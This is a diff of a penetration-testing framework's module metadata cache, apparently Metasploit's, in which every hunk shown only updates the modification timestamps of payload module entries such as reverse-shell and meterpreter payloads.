"path": "/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_socat_udp",
@@ -173608,7 +174265,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-06-15 17:35:19 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_ssh",
@@ -173643,7 +174300,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_ssl_double_telnet",
@@ -173677,7 +174334,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_stub.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_stub",
@@ -173711,7 +174368,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_tclsh.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_tclsh",
@@ -173746,7 +174403,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_zsh.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_zsh",
@@ -173782,7 +174439,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/adduser.rb",
"is_install_path": true,
"ref_name": "cmd/windows/adduser",
@@ -173816,7 +174473,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/bind_lua.rb",
"is_install_path": true,
"ref_name": "cmd/windows/bind_lua",
@@ -173852,7 +174509,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/bind_perl.rb",
"is_install_path": true,
"ref_name": "cmd/windows/bind_perl",
@@ -173888,7 +174545,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb",
"is_install_path": true,
"ref_name": "cmd/windows/bind_perl_ipv6",
@@ -173922,7 +174579,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/bind_ruby.rb",
"is_install_path": true,
"ref_name": "cmd/windows/bind_ruby",
@@ -173956,7 +174613,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/download_eval_vbs.rb",
"is_install_path": true,
"ref_name": "cmd/windows/download_eval_vbs",
@@ -173990,7 +174647,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/download_exec_vbs.rb",
"is_install_path": true,
"ref_name": "cmd/windows/download_exec_vbs",
@@ -174024,7 +174681,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/generic.rb",
"is_install_path": true,
"ref_name": "cmd/windows/generic",
@@ -174061,7 +174718,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-06-15 13:25:25 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "cmd/windows/jjs_reverse_tcp",
@@ -185071,7 +185728,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell_bind_tcp",
@@ -185106,7 +185763,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell_reverse_tcp",
@@ -185141,7 +185798,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp_ssl.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell_reverse_tcp_ssl",
@@ -185175,7 +185832,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/reverse_lua.rb",
"is_install_path": true,
"ref_name": "cmd/windows/reverse_lua",
@@ -185210,7 +185867,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/reverse_perl.rb",
"is_install_path": true,
"ref_name": "cmd/windows/reverse_perl",
@@ -185245,7 +185902,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/reverse_powershell",
@@ -185279,7 +185936,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/cmd/windows/reverse_ruby.rb",
"is_install_path": true,
"ref_name": "cmd/windows/reverse_ruby",
@@ -185313,7 +185970,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-09-17 16:00:04 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/firefox/exec.rb",
"is_install_path": true,
"ref_name": "firefox/exec",
@@ -185347,7 +186004,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/firefox/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "firefox/shell_bind_tcp",
@@ -185381,7 +186038,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/firefox/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "firefox/shell_reverse_tcp",
@@ -185415,7 +186072,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-03-10 18:03:35 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/generic/custom.rb",
"is_install_path": true,
"ref_name": "generic/custom",
@@ -185619,7 +186276,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/java/jsp_shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "java/jsp_shell_bind_tcp",
@@ -185653,7 +186310,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "java/jsp_shell_reverse_tcp",
@@ -185974,7 +186631,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_http",
@@ -186010,7 +186667,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_https",
@@ -186046,7 +186703,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter_reverse_tcp",
@@ -186114,7 +186771,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/shell_reverse_tcp",
@@ -186150,7 +186807,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_http",
@@ -186186,7 +186843,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_https",
@@ -186222,7 +186879,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
@@ -186256,7 +186913,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armbe/shell_bind_tcp",
@@ -186431,7 +187088,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_http",
@@ -186467,7 +187124,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_https",
@@ -186503,7 +187160,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter_reverse_tcp",
@@ -186607,7 +187264,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/armle/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/shell_bind_tcp",
@@ -186641,7 +187298,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/shell_reverse_tcp",
@@ -186677,7 +187334,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_http",
@@ -186713,7 +187370,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_https",
@@ -186749,7 +187406,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mips64/meterpreter_reverse_tcp",
@@ -186784,7 +187441,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/exec.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/exec",
@@ -186856,7 +187513,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
@@ -186892,7 +187549,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
@@ -186928,7 +187585,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
@@ -186963,7 +187620,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/reboot.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/reboot",
@@ -187035,7 +187692,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/shell_bind_tcp",
@@ -187070,7 +187727,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/shell_reverse_tcp",
@@ -187105,7 +187762,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/exec.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/exec",
@@ -187177,7 +187834,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_http",
@@ -187213,7 +187870,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_https",
@@ -187249,7 +187906,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
@@ -187284,7 +187941,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/reboot.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/reboot",
@@ -187356,7 +188013,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/shell_bind_tcp",
@@ -187391,7 +188048,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/shell_reverse_tcp",
@@ -187427,7 +188084,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_http",
@@ -187463,7 +188120,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_https",
@@ -187499,7 +188156,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
@@ -187739,7 +188396,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_http",
@@ -187775,7 +188432,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_https",
@@ -187811,7 +188468,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc64le/meterpreter_reverse_tcp",
@@ -187847,7 +188504,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
@@ -187883,7 +188540,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
@@ -187919,7 +188576,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
@@ -188061,7 +188718,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_http",
@@ -188097,7 +188754,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_https",
@@ -188133,7 +188790,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter_reverse_tcp",
@@ -188976,7 +189633,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_http",
@@ -189012,7 +189669,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_https",
@@ -189048,7 +189705,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter_reverse_tcp",
@@ -189607,7 +190264,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-17 03:12:01 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_bind_tcp_random_port",
@@ -189675,7 +190332,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_find_tag.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_find_tag",
@@ -189710,7 +190367,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_reverse_tcp",
@@ -189780,7 +190437,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_http",
@@ -189816,7 +190473,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_https",
@@ -189852,7 +190509,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-08-30 10:15:36 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/zarch/meterpreter_reverse_tcp",
@@ -190022,7 +190679,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/nodejs/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "nodejs/shell_bind_tcp",
@@ -190057,7 +190714,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/nodejs/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "nodejs/shell_reverse_tcp",
@@ -190092,7 +190749,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb",
"is_install_path": true,
"ref_name": "nodejs/shell_reverse_tcp_ssl",
@@ -190330,7 +190987,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/osx/armle/vibrate.rb",
"is_install_path": true,
"ref_name": "osx/armle/vibrate",
@@ -190640,7 +191297,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/osx/x64/exec.rb",
"is_install_path": true,
"ref_name": "osx/x64/exec",
@@ -190789,7 +191446,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_http",
@@ -190825,7 +191482,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_https",
@@ -190861,7 +191518,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-09-16 18:20:06 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "osx/x64/meterpreter_reverse_tcp",
@@ -190895,7 +191552,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/osx/x64/say.rb",
"is_install_path": true,
"ref_name": "osx/x64/say",
@@ -190929,7 +191586,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/osx/x64/shell_bind_tcp.rb",
"is_install_path": true,
